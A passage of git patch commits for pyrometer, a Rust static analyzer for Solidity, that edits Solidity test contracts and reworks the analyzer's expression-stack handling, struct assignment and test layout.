1]; - users[userId].employmentHistory.pop(); - } - - function deleteEducationHistory( - uint256 userId, - uint256 educationIndex - ) public { - require( - educationIndex < users[userId].educationHistory.length, - "Education index out of bounds" - ); - users[userId].educationHistory[educationIndex] = users[userId] - .educationHistory[users[userId].educationHistory.length - 1]; - users[userId].educationHistory.pop(); - } - function deleteUserPreference(uint256 userId, string memory key) public { delete users[userId].preferences[key]; } @@ -170,68 +132,79 @@ contract ComplexDelete { } } -// contract UseComplexDelete { -// ComplexDelete t; +contract UseComplexDelete { + ComplexDelete t; -// constructor() { -// t = new ComplexDelete(); -// } - -// function useIt() public { -// // Add users -// t.addUser(1, "Alice", "alice@example.com", "1234567890"); -// t.addUser(2, "Bob", "bob@example.com", "0987654321"); + constructor() { + t = new ComplexDelete(); + } -// // Add addresses -// t.addUserAddress(1, "123 Main St", "New York", "USA", 10001); -// t.addUserAddress(1, "456 Elm St", "Los Angeles", "USA", 90001); -// t.addUserAddress(2, "789 Oak St", "Chicago", "USA", 60601); + function useIt() public { + // Add users + t.addUser(1, "Alice", "alice@example.com", "1234567890"); + t.addUser(2, "Bob", "bob@example.com", "0987654321"); -// // Add employment history -// t.addEmploymentHistory(1, "TechCorp", "Developer", 1609459200, 1640995200); -// t.addEmploymentHistory(1, "WebSoft", "Senior Developer", 1641081600, 0); -// t.addEmploymentHistory(2, "DataFirm", "Analyst", 1577836800, 0); + // Add addresses + t.addUserAddress(1, "123 Main St", "New York", "USA", 10001); + t.addUserAddress(1, "456 Elm St", "Los Angeles", "USA", 90001); + t.addUserAddress(2, "789 Oak St", "Chicago", "USA", 60601); -// // Add education history -// t.addEducationHistory(1, "Tech University", "BSc Computer Science", 2020); -// t.addEducationHistory(2, "Data College", "MSc Data Science", 2019); + // Add employment history + t.addEmploymentHistory( + 1, + "TechCorp", + "Developer", + 1609459200, + 1640995200 + ); + t.addEmploymentHistory(1, "WebSoft", "Senior Developer", 1641081600, 0); + t.addEmploymentHistory(2, "DataFirm", "Analyst", 1577836800, 0); + + // Add education history + t.addEducationHistory( + 1, + "Tech University", + "BSc Computer Science", + 2020 + ); + t.addEducationHistory(2, "Data College", "MSc Data Science", 2019); -// // Set preferences -// t.setUserPreference(1, "receiveNewsletter", true); -// t.setUserPreference(1, "darkMode", false); -// t.setUserPreference(2, "receiveNewsletter", false); + // Set preferences + t.setUserPreference(1, "receiveNewsletter", true); + t.setUserPreference(1, "darkMode", false); + t.setUserPreference(2, "receiveNewsletter", false); -// // Test deletions and updates + // Test deletions and updates -// // Delete an address -// t.deleteUserAddress(1, 0); + // Delete an address + // t.deleteUserAddress(1, 0); // TODO @brock these need uncommented when the pop is fixed and these functions are back -// // Delete employment history -// t.deleteEmploymentHistory(1, 0); + // Delete employment history + // t.deleteEmploymentHistory(1, 0); // TODO @brock these need uncommented when the pop is fixed and these functions are back -// // Delete education history -// t.deleteEducationHistory(2, 0); + // Delete education history + // t.deleteEducationHistory(2, 0); // TODO @brock these need uncommented when the pop is fixed and these functions are back -// // Delete user preference -// t.deleteUserPreference(1, "darkMode"); + // Delete user preference + t.deleteUserPreference(1, "darkMode"); -// // Update contact info -// t.updateContactInfo(2, "bob.new@example.com", "1122334455"); + // Update contact info + t.updateContactInfo(2, "bob.new@example.com", "1122334455"); -// // Clear all addresses for a user -// t.clearAllUserAddresses(1); + // Clear all addresses for a user + t.clearAllUserAddresses(1); -// // Clear all employment history for a user -// t.clearAllEmploymentHistory(2); + // Clear all employment history for a user + t.clearAllEmploymentHistory(2); -// // Clear all education history for a user -// t.clearAllEducationHistory(1); + // Clear all education history for a user + t.clearAllEducationHistory(1); -// // Delete an entire user -// t.deleteUser(1); + // Delete an entire user + t.deleteUser(1); -// // Add a new user to test after deletions -// t.addUser(3, "Charlie", "charlie@example.com", "5556667777"); -// t.addUserAddress(3, "321 Pine St", "San Francisco", "USA", 94101); -// } -// } + // Add a new user to test after deletions + t.addUser(3, "Charlie", "charlie@example.com", "5556667777"); + t.addUserAddress(3, "321 Pine St", "San Francisco", "USA", 94101); + } +} diff --git a/crates/pyrometer/tests/test_data/dyn_types.sol b/crates/pyrometer/tests/test_data/dyn_types.sol index de1153ee..c4a6c6ff 100644 --- a/crates/pyrometer/tests/test_data/dyn_types.sol +++ b/crates/pyrometer/tests/test_data/dyn_types.sol @@ -111,7 +111,7 @@ contract DynTypes { function multiDimensionalArray() public returns (bool z) { uint256[][] memory multiArray = new uint256[][](2); uint256[] memory indices = new uint256[](2); - + indices[0] = 0; indices[1] = 1; @@ -124,5 +124,4 @@ contract DynTypes { z = true; } - } diff --git a/crates/pyrometer/tests/test_data/env.sol b/crates/pyrometer/tests/test_data/env.sol index afdb5b1f..c8b3065b 100644 --- a/crates/pyrometer/tests/test_data/env.sol +++ b/crates/pyrometer/tests/test_data/env.sol @@ -32,9 +32,7 @@ contract Env { tx.origin (address): sender of the transaction (full call chain) */ bytes32 a = blockhash(1); - bytes32 b = blobhash(1); uint c = block.basefee; - uint d = block.blobbasefee; uint e = block.chainid; address payable f = block.coinbase; uint g = block.difficulty; diff --git a/crates/pyrometer/tests/test_data/literals.sol b/crates/pyrometer/tests/test_data/literals.sol index cc138c36..7795e556 100644 --- a/crates/pyrometer/tests/test_data/literals.sol +++ b/crates/pyrometer/tests/test_data/literals.sol @@ -1,6 +1,5 @@ contract Literals { - - function foo() public returns (string memory) { + function foo() public returns (string memory) { uint a = 115792089237316195423570985008687907853269984665640564039457584007913129639935; // ok // uint b = 115792089237316195423570985008687907853269984665640564039457584007913129639936; // too big // uint c = 115792089237316195423570985008687907853269984665640564039457584007913129639935 ** 2; // too big @@ -9,6 +8,7 @@ contract Literals { uint f = 1.0 ** 2; // ok // uint g = 1.5 ** 2; // not uint uint h = 1.5 ** 0; // ok + h = 1.5 ** 0x0; // ok "pyro::variable::h::range::[1,1]"; uint256 i = 123 ** 10; // 792594609605189126649 address w = address(0xdCad3a6d3569DF655070DEd06cb7A1b2Ccd1D3AF); @@ -32,8 +32,10 @@ contract Literals { "pyro::variable::k::range::[-84,-84]"; string memory s = unicode"🔥🔫"; // TODO unicode string values is not correct yet - bytes memory r = hex"11111111111111111111111111111111111111111111111111111111111111111111111111111111"; - r = hex"1111111111111111111111111111111111111111" hex"111111111111111111111111111111111111111111111111"; + bytes + memory r = hex"11111111111111111111111111111111111111111111111111111111111111111111111111111111"; + r = hex"1111111111111111111111111111111111111111" + hex"111111111111111111111111111111111111111111111111"; return s; } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/require_with_killed.sol b/crates/pyrometer/tests/test_data/require_with_killed.sol index aaf06db7..e69de29b 100644 --- a/crates/pyrometer/tests/test_data/require_with_killed.sol +++ b/crates/pyrometer/tests/test_data/require_with_killed.sol @@ -1,164 +0,0 @@ -contract RequireWithKilled { - uint public count = 0; - uint storeRange = 0; - - function setStoreRange(uint x) public { - storeRange = x; - } - - // function requireLt(uint x) public { - // // set bounds for storeRange - // require(5 < storeRange && storeRange < 100); - // "pyro::variable::storeRange::range::[6, 99]"; - // // set tighter bounds for x - // require(6 < x && x < 99); - // "pyro::variable::x::range::[7, 98]"; - // // make x less than storeRange - // require(x < storeRange); - // } - - // function requireLte(uint x) public { - // // set bounds for storeRange - // require(5 < storeRange && storeRange < 100); - // // set tighter bounds for x - // require(6 < x && x < 99); - // // make x less than or equal to storeRange - // require(x <= storeRange); - // } - - // function requireGt(uint x) public { - // // set bounds for storeRange - // require(5 < storeRange && storeRange < 100); - // // set tighter bounds for x - // require(6 < x && x < 99); - // // make x greater than storeRange - // require(x > storeRange); - // } - - // function requireGte(uint x) public { - // // set bounds for storeRange - // require(5 < storeRange && storeRange < 100); - // // set tighter bounds for x - // require(6 < x && x < 99); - // // make x greater than or equal to storeRange - // require(x >= storeRange); - // } - - // function requireEq(uint x) public { - // // set bounds for storeRange - // require(5 < storeRange && storeRange < 100); - // // set tighter bounds for x - // require(6 < x && x < 99); - // // make x equal to storeRange - // require(x == storeRange); - // } - - // function requireNeq(uint x) public { - // // set bounds for storeRange - // require(5 < storeRange && storeRange < 100); - // // set tighter bounds for x - // require(6 < x && x < 99); - // // make x not equal to storeRange - // require(x != storeRange); - // } - - // function setCount() public { - // count = 0; - // } - // function andShortCircuit() public { - // count = 0; - // // ( bump(false) && bump(true) ) || true , this will test that the second bump is not evaluated since the `and` short circuits - // require( - // (bumpCountIfValueEq1ThenReturn(1, false) && - // bumpCountIfValueEq1ThenReturn(1, true)) || true - // ); - // "pyro::variable::count::range::[1, 1]"; - // } - - function andFullCircuit() public { - count = 0; - // ( bump(true) && bump(true) ) , this will test that the second bump is evaluated since the `and` does not short circuit - require( - (bumpCountIfValueEq1ThenReturn(1, true) && - bumpCountIfValueEq1ThenReturn(1, true)) - ); - "pyro::variable::count::range::[2, 2]"; - } - - // function orShortCircuit() public { - // count = 0; - // // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits - // require( - // bumpCountIfValueEq1ThenReturn(1, true) || - // bumpCountIfValueEq1ThenReturn(1, true) - // ); - // "pyro::variable::count::range::[1, 1]"; - // } - - // function orShortCircuitRHS() public { - // count = 0; - // // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits - // require( - // bumpCountIfValueEq1ThenReturn(2, true) || - // bumpCountIfValueEq1ThenReturn(1, true) - // ); - // "pyro::variable::count::range::[0, 0]"; - - // count = 0; - // require(bumpCountIfValueEq1ThenReturn(1, true) || true); - // "pyro::variable::count::range::[1, 1]"; - - // count = 0; - // require(true || bumpCountIfValueEq1ThenReturn(1, true)); - // "pyro::variable::count::range::[0, 0]"; - // } - - // function yulAndFullCircuit() public { - // count = 0; - // assembly { - // function bumpCountIfValueEq1ThenReturn(x, returnValue) -> result { - // let count_val := sload(0) - // // first if needs both x and count to be 0 - // if and(eq(count_val, 0), eq(x, 0)) { - // // add 1 to count - // sstore(0, add(sload(0), 1)) - // } - // // second if needs both values to be 1 - // if and(eq(count_val, 1), eq(x, 1)) { - // // add 1 to count - // sstore(0, add(sload(0), 1)) - // } - // result := true - // } - - // // in yul: rhs is evaluated, then lhs. no short circuiting - // if or( - // bumpCountIfValueEq1ThenReturn(1, true), - // bumpCountIfValueEq1ThenReturn(0, true) - // ) { - - // } - // } - // "pyro::variable::count::range::[2, 2]"; - // } - - // function orFullCircuit() public { - // count = 0; - // // ( bump(false) || bump(true) ) , this will test that the second bump is evaluated since the `or` does not short circuit - // require( - // bumpCountIfValueEq1ThenReturn(1, false) || - // bumpCountIfValueEq1ThenReturn(1, true) - // ); - // "pyro::variable::count::range::[2, 2]"; - // } - - function bumpCountIfValueEq1ThenReturn( - uint8 x, - bool returnValue - ) internal returns (bool) { - if (x == 1) { - count += 1; - } - return returnValue; - } -} diff --git a/crates/pyrometer/tests/test_data/todo.sol b/crates/pyrometer/tests/test_data/todo.sol new file mode 100644 index 00000000..8b5e3b29 --- /dev/null +++ b/crates/pyrometer/tests/test_data/todo.sol @@ -0,0 +1,44 @@ +pragma solidity ^0.8.0; + +contract Todo { + // will live in env.sol when added + function env() public view { + bytes32 b = blobhash(1); + uint d = block.blobbasefee; + } + + // will live in assign.sol when added + function array_literals() public pure { + uint[2] memory a = [uint(1), uint(2)]; + uint[2] memory b = [uint(3), uint(4)]; + } + + // will live in assign.sol when added + function array_slices( + uint[] calldata a + ) public pure returns (uint[] memory) { + require(a.length >= 4, "Array must have at least 4 elements"); + uint[] memory b = a[2:4]; + // if a is [1,2,3,4] + // then b is [3, 4] + return b; + } + + // this will live in loops.sol when fixed + function perform_break_literal() public pure { + for (uint256 i = 0; i < 10; i++) { + if (i == 5) { + break; // @brock this one weirdly does not error on the break + } + } + } + + // this will live in loops.sol when fixed + function perform_break(uint[] memory a) public pure { + for (uint256 i = 0; i < a.length; i++) { + if (i == a[i]) { + break; + } + } + } +} diff --git a/crates/pyrometer/tests/test_data/variable.sol b/crates/pyrometer/tests/test_data/variable.sol index 93ffed8b..c70dc46e 100644 --- a/crates/pyrometer/tests/test_data/variable.sol +++ b/crates/pyrometer/tests/test_data/variable.sol @@ -17,25 +17,9 @@ contract Variable { return a_user_type.aUserType; } - // function a_user_type_storage() public returns (uint) { - // aUserType storage a_user_type = a_user_type; - // return a_user_type.aUserType; - // } -} - -contract B { - struct A { - address a; - } -} - -contract A is B { - A a; // contract A - - function return_struct() external returns (A memory) { - // a is of type B.A, *not* Contract::A - a = A(address(this)); - return a; + function a_user_type_storage() public returns (uint) { + aUserType storage a_user_type = a_user_type; + return a_user_type.aUserType; } } From 38c69f789caa9116c3678f0144ab6d40ff580ee0 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 13:27:50 -0700 Subject: [PATCH 44/52] fixes --- crates/graph/src/nodes/context/variables.rs | 38 +++++++------- crates/graph/src/range/elem/expr/collapse.rs | 1 - crates/pyrometer/tests/test_data/variable.sol | 16 ++++++ crates/solc-expressions/src/assign.rs | 50 +++++++++++++++++++ .../src/context_builder/flattened.rs | 48 ++++++++++-------- .../src/context_builder/mod.rs | 6 +-- .../src/func_call/intrinsic_call/address.rs | 2 +- .../func_call/intrinsic_call/constructors.rs | 2 +- .../func_call/intrinsic_call/dyn_builtin.rs | 3 +- crates/solc-expressions/src/variable.rs | 18 +++++-- crates/solc-expressions/src/yul/yul_funcs.rs | 10 ++-- 11 files changed, 136 insertions(+), 58 deletions(-) diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index c34c054c..afa6ac9b 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -433,25 +433,25 @@ impl ContextNode { } } - /// Pop the latest expression return off the stack - #[tracing::instrument(level = "trace", skip_all)] - pub fn pop_expr_latest( - &self, - loc: Loc, - analyzer: &mut impl AnalyzerBackend, - ) -> Result, GraphError> { - let underlying_mut = self.underlying_mut(analyzer)?; - if let Some(elem) = underlying_mut.expr_ret_stack.pop() { - tracing::trace!( - "popping var {} from: {}", - elem.debug_str(analyzer), - self.path(analyzer) - ); - Ok(Some(self.maybe_move_expr(elem, loc, analyzer)?)) - } else { - Ok(None) - } - } + // /// Pop the latest expression return off the stack + // #[tracing::instrument(level = "trace", skip_all)] + // pub fn pop_expr_latest( + // &self, + // loc: Loc, + // analyzer: &mut impl AnalyzerBackend, + // ) -> Result, GraphError> { + // let underlying_mut = self.underlying_mut(analyzer)?; + // if let Some(elem) = underlying_mut.expr_ret_stack.pop() { + // tracing::trace!( + // "popping var {} from: {}", + // elem.debug_str(analyzer), + // self.path(analyzer) + // ); + // Ok(Some(self.maybe_move_expr(elem, loc, analyzer)?)) + // } else { + // Ok(None) + // } + // } pub fn pop_n_latest_exprs( &self, diff --git a/crates/graph/src/range/elem/expr/collapse.rs b/crates/graph/src/range/elem/expr/collapse.rs index 2f3730d7..c3195cc7 100644 --- a/crates/graph/src/range/elem/expr/collapse.rs +++ b/crates/graph/src/range/elem/expr/collapse.rs @@ -522,7 +522,6 @@ pub fn collapse( (_, RangeOp::Eq) => { // (x _ y) == z ==> (x _ y if z == true) if z.range_eq(&Elem::from(Concrete::from(true)), arena) { - println!("true collapse"); MaybeCollapsed::Collapsed(Elem::Expr(expr)) } else if z.range_eq(&Elem::from(Concrete::from(false)), arena) { // (!x && !y) diff --git a/crates/pyrometer/tests/test_data/variable.sol b/crates/pyrometer/tests/test_data/variable.sol index c70dc46e..d24980cb 100644 --- a/crates/pyrometer/tests/test_data/variable.sol +++ b/crates/pyrometer/tests/test_data/variable.sol @@ -23,6 +23,22 @@ contract Variable { } } +contract B { + struct A { + address a; + } +} + +contract A is B { + A a; // contract A + + function return_struct() external { + // a is of type B.A, *not* Contract::A + a = A(address(this)); + // return a; + } +} + contract C { C c; diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index 98e07452..f3537300 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -27,6 +27,7 @@ pub trait Assign: AnalyzerBackend + Sized ctx.kill(self, loc, *kind).into_expr_err(loc)?; Ok(()) } + (ExprRet::Single(lhs), ExprRet::SingleLiteral(rhs)) => { // ie: uint x = 5; let lhs_cvar = @@ -97,6 +98,55 @@ pub trait Assign: AnalyzerBackend + Sized lhs_cvar.display_name(self).unwrap(), ); + println!( + "{:?} = {:?}", + lhs_cvar.ty(self).unwrap(), + rhs_cvar.ty(self).unwrap() + ); + + if lhs_cvar.is_struct(self).into_expr_err(loc)? + && rhs_cvar.is_struct(self).into_expr_err(loc)? + { + let lhs_fields = lhs_cvar.struct_to_fields(self).into_expr_err(loc)?; + let rhs_fields = rhs_cvar.struct_to_fields(self).into_expr_err(loc)?; + lhs_fields.iter().try_for_each(|lhs_field| { + let lhs_full_name = lhs_field.name(self).into_expr_err(loc)?; + let split = lhs_full_name.split('.').collect::>(); + let Some(lhs_field_name) = split.last() else { + return Err(ExprErr::ParseError( + lhs_field.loc(self).unwrap(), + format!("Incorrectly named field: {lhs_full_name} - no '.' delimiter"), + )); + }; + + let mut found = false; + for rhs_field in rhs_fields.iter() { + let rhs_full_name = rhs_field.name(self).into_expr_err(loc)?; + let split = rhs_full_name.split('.').collect::>(); + let Some(rhs_field_name) = split.last() else { + return Err(ExprErr::ParseError( + rhs_field.loc(self).unwrap(), + format!("Incorrectly named field: {rhs_full_name} - no '.' delimiter"), + )); + }; + if lhs_field_name == rhs_field_name { + found = true; + let _ = self.assign(arena, loc, *lhs_field, *rhs_field, ctx)?; + break; + } + } + if found { + Ok(()) + } else { + Err(ExprErr::ParseError( + loc, + format!("Struct types mismatched - could not find field: {lhs_field_name}"), + )) + } + })?; + return Ok(ExprRet::Single(lhs_cvar.0.into())); + } + rhs_cvar .cast_from(&lhs_cvar, self, arena) .into_expr_err(loc)?; diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 4ef603f7..3347ecb9 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -670,6 +670,12 @@ pub trait Flatten: self.push_expr(parent); } + Assign(_, lhs, rhs) => { + self.traverse_expression(lhs, unchecked); + self.traverse_expression(rhs, unchecked); + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); + } + Modulo(_, lhs, rhs) | AssignModulo(_, lhs, rhs) | ShiftLeft(_, lhs, rhs) @@ -682,7 +688,6 @@ pub trait Flatten: | AssignXor(_, lhs, rhs) | BitwiseOr(_, lhs, rhs) | AssignOr(_, lhs, rhs) - | Assign(_, lhs, rhs) | Equal(_, lhs, rhs) | NotEqual(_, lhs, rhs) | Less(_, lhs, rhs) @@ -1217,12 +1222,14 @@ pub trait Flatten: unreachable!() }; - let var = ContextVar::new_from_contract( + let mut var = ContextVar::new_from_contract( loc, ctx.associated_contract(self).into_expr_err(loc)?, self, ) .into_expr_err(loc)?; + var.name = "this".to_string(); + var.display_name = "this".to_string(); let cvar = self.add_node(Node::ContextVar(var)); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); @@ -1962,7 +1969,7 @@ pub trait Flatten: }; let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; - let [lhs, rhs] = into_sized(res); + let [rhs, lhs] = into_sized(res); self.match_assign_sides(arena, ctx, loc, &lhs, &rhs) } @@ -2238,26 +2245,23 @@ pub trait Flatten: None, )?; - if let Some(ret) = ctx.pop_expr_latest(loc, self).into_expr_err(loc)? { - if ContextVarNode::from(ret.expect_single().into_expr_err(loc)?) - .is_memory(self) - .into_expr_err(loc)? - { - // its a memory based variable, push a uint instead - let b = Builtin::Uint(256); - let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) - .into_expr_err(loc)?; - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(loc) - } else { - ctx.push_expr(ret, self).into_expr_err(loc) - } + let ret = ctx + .pop_n_latest_exprs(1, loc, self) + .into_expr_err(loc)? + .swap_remove(0); + if ContextVarNode::from(ret.expect_single().into_expr_err(loc)?) + .is_memory(self) + .into_expr_err(loc)? + { + // its a memory based variable, push a uint instead + let b = Builtin::Uint(256); + let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) } else { - Err(ExprErr::Unresolved( - loc, - format!("Could not find yul variable with name: {name}"), - )) + ctx.push_expr(ret, self).into_expr_err(loc) } } diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index fd4fa9af..5912b47d 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -89,10 +89,10 @@ pub trait ContextBuilder: AnalyzerBackend Ok(Some(target_var)) => { // perform a cast tracing::trace!( - "{}: casting {:?} to {:?}", + "casting {} to {} in {}", + latest.ty(self).unwrap().as_string(self).unwrap(), + target_var.ty(self).unwrap().as_string(self).unwrap(), ctx.path(self), - latest.ty(self).unwrap(), - target_var.ty(self).unwrap(), ); let next = self .advance_var_in_ctx_forcible(latest, loc, ctx, true) diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs index cc656d23..7c4492d3 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs @@ -38,10 +38,10 @@ pub trait AddressCaller: AnalyzerBackend + } } + #[tracing::instrument(level = "trace", skip_all)] fn external_call(&mut self, ctx: ContextNode, _ty: &str, loc: Loc) -> Result<(), ExprErr> { // TODO: Check if we have the code for the address // if we dont, model it as a unrestricted call that can make other calls - ctx.pop_expr_latest(loc, self).into_expr_err(loc)?; // TODO: try to be smarter based on the address input let booln = self.builtin_or_add(Builtin::Bool); let bool_cvar = ContextVar::new_from_builtin(loc, booln.into(), self).into_expr_err(loc)?; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs index 16a21e39..0f115bd6 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs @@ -162,7 +162,7 @@ pub trait ConstructorCaller: ctx.add_var(fc_node.into(), self).into_expr_err(loc)?; let field_as_ret = ExprRet::Single(fc_node); self.match_assign_sides(arena, ctx, loc, &field_as_ret, &input)?; - let _ = ctx.pop_expr_latest(loc, self).into_expr_err(loc)?; + let _ = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; Ok(()) })?; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs index f7f09049..1606eb63 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs @@ -74,8 +74,9 @@ pub trait DynBuiltinCaller: AnalyzerBackend { // pop the accumulation node off the stack let accum_node = ctx - .pop_expr_latest(loc, self) + .pop_n_latest_exprs(1, loc, self) .into_expr_err(loc)? + .get(0) .unwrap() .expect_single() .unwrap(); diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index 7a5dd171..f1aff890 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -76,10 +76,12 @@ pub trait Variable: AnalyzerBackend + Size } else if (self.env_variable(arena, ident, target_ctx)?).is_some() { Ok(()) } else if let Some(idxs) = self.user_types().get(&ident.name).cloned() { + tracing::trace!("Getting variable via user_types"); let idx = if idxs.len() == 1 { idxs[0] } else { // disambiguate by scope + tracing::trace!("disambiguating by scope"); let in_scope = if let Some(contract) = ctx .maybe_associated_contract(self) .into_expr_err(ident.loc)? @@ -159,6 +161,15 @@ pub trait Variable: AnalyzerBackend + Size ); } + if let Some(strukt) = ContextVarNode::from(new_cvarnode) + .maybe_struct(self) + .into_expr_err(ident.loc)? + { + strukt + .add_fields_to_cvar(self, ident.loc, ContextVarNode::from(new_cvarnode)) + .into_expr_err(ident.loc)?; + } + target_ctx .push_expr(ExprRet::Single(new_cvarnode), self) .into_expr_err(ident.loc)?; @@ -198,16 +209,15 @@ pub trait Variable: AnalyzerBackend + Size location: Option, ) -> Option { // disambiguate based on left hand side if it exists - if let Some(maybe_lhs) = ctx.pop_expr_latest(loc, self).ok()? { + if let Some(maybe_lhs) = ctx.underlying(self).ok()?.expr_ret_stack.get(0) { + tracing::trace!("Disambiguate based on lhs: {}", maybe_lhs.debug_str(self)); if let ExprRet::Single(lhs_idx) = maybe_lhs { - if let Some(var_ty) = VarType::try_from_idx(self, lhs_idx) { + if let Some(var_ty) = VarType::try_from_idx(self, *lhs_idx) { if idxs.contains(&var_ty.ty_idx()) { - ctx.push_expr(maybe_lhs, self).ok()?; return Some(var_ty.ty_idx()); } } } - ctx.push_expr(maybe_lhs, self).ok()?; } // disambiguate based on storage location diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 4b5436d3..217008df 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -163,12 +163,10 @@ pub trait YulFuncCaller: let [lhs_paths, rhs_paths] = inputs.into_sized(); self.cmp_inner(arena, ctx, loc, &lhs_paths, op, &rhs_paths)?; - let Some(result) = ctx.pop_expr_latest(loc, self).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Yul Binary operation had no return".to_string(), - )); - }; + let result = ctx + .pop_n_latest_exprs(1, loc, self) + .into_expr_err(loc)? + .swap_remove(0); let res = ContextVarNode::from(result.expect_single().into_expr_err(loc)?); let next = self.advance_var_in_ctx(res, loc, ctx)?; From 35e0232c6e1966240b90d9c526610bf3a2bed5d2 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 13:50:36 -0700 Subject: [PATCH 45/52] restructure broken tests --- crates/graph/src/graph_elements.rs | 4 +- crates/graph/src/nodes/context/variables.rs | 20 ---- crates/graph/src/range/elem/expr/collapse.rs | 1 - crates/pyrometer/src/analyzer.rs | 4 +- crates/pyrometer/tests/helpers.rs | 9 ++ crates/pyrometer/tests/no_killed_ctxs.rs | 11 +- .../tests/test_data/broken/delete.sol | 80 +++++++++++++ .../{broken.sol => broken/require_killed.sol} | 105 +----------------- .../tests/test_data/repros/overflow.sol | 42 +++++-- crates/pyrometer/tests/test_data/todo.sol | 5 + crates/pyrometer/tests/test_data/variable.sol | 2 +- crates/solc-expressions/src/cmp.rs | 2 +- .../src/context_builder/flattened.rs | 2 +- .../func_call/intrinsic_call/dyn_builtin.rs | 2 +- crates/solc-expressions/src/require.rs | 4 - crates/solc-expressions/src/variable.rs | 5 +- 16 files changed, 148 insertions(+), 150 deletions(-) create mode 100644 crates/pyrometer/tests/test_data/broken/delete.sol rename crates/pyrometer/tests/test_data/{broken.sol => broken/require_killed.sol} (67%) diff --git a/crates/graph/src/graph_elements.rs b/crates/graph/src/graph_elements.rs index 76f398bd..d9b06887 100644 --- a/crates/graph/src/graph_elements.rs +++ b/crates/graph/src/graph_elements.rs @@ -99,9 +99,9 @@ pub enum Node { /// A concrete value (i.e. '1' or '0x111') Concrete(Concrete), /// The `msg` global in solidity - Msg(Msg), + Msg(Box), /// The `block` global in solidity - Block(Block), + Block(Box), /// A yul-based function YulFunction(YulFunction), // TODO: Handle events diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index afa6ac9b..a126e0f0 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -433,26 +433,6 @@ impl ContextNode { } } - // /// Pop the latest expression return off the stack - // #[tracing::instrument(level = "trace", skip_all)] - // pub fn pop_expr_latest( - // &self, - // loc: Loc, - // analyzer: &mut impl AnalyzerBackend, - // ) -> Result, GraphError> { - // let underlying_mut = self.underlying_mut(analyzer)?; - // if let Some(elem) = underlying_mut.expr_ret_stack.pop() { - // tracing::trace!( - // "popping var {} from: {}", - // elem.debug_str(analyzer), - // self.path(analyzer) - // ); - // Ok(Some(self.maybe_move_expr(elem, loc, analyzer)?)) - // } else { - // Ok(None) - // } - // } - pub fn pop_n_latest_exprs( &self, n: usize, diff --git a/crates/graph/src/range/elem/expr/collapse.rs b/crates/graph/src/range/elem/expr/collapse.rs index c3195cc7..d4242831 100644 --- a/crates/graph/src/range/elem/expr/collapse.rs +++ b/crates/graph/src/range/elem/expr/collapse.rs @@ -82,7 +82,6 @@ pub fn collapse( }; if let Some(e) = ident_rules(&l, op, &r, arena) { - println!("ident rules return"); return MaybeCollapsed::Collapsed(e); } diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 6e9376f3..34fa1c33 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -198,8 +198,8 @@ impl Default for Analyzer { let msg = Msg::default(); let block = Block::default(); - let msg = a.graph.add_node(Node::Msg(msg)).into(); - let block = a.graph.add_node(Node::Block(block)).into(); + let msg = a.graph.add_node(Node::Msg(Box::new(msg))).into(); + let block = a.graph.add_node(Node::Block(Box::new(block))).into(); a.msg = msg; a.block = block; a.entry = a.add_node(Node::Entry); diff --git a/crates/pyrometer/tests/helpers.rs b/crates/pyrometer/tests/helpers.rs index d04e2b1c..44fa10a5 100644 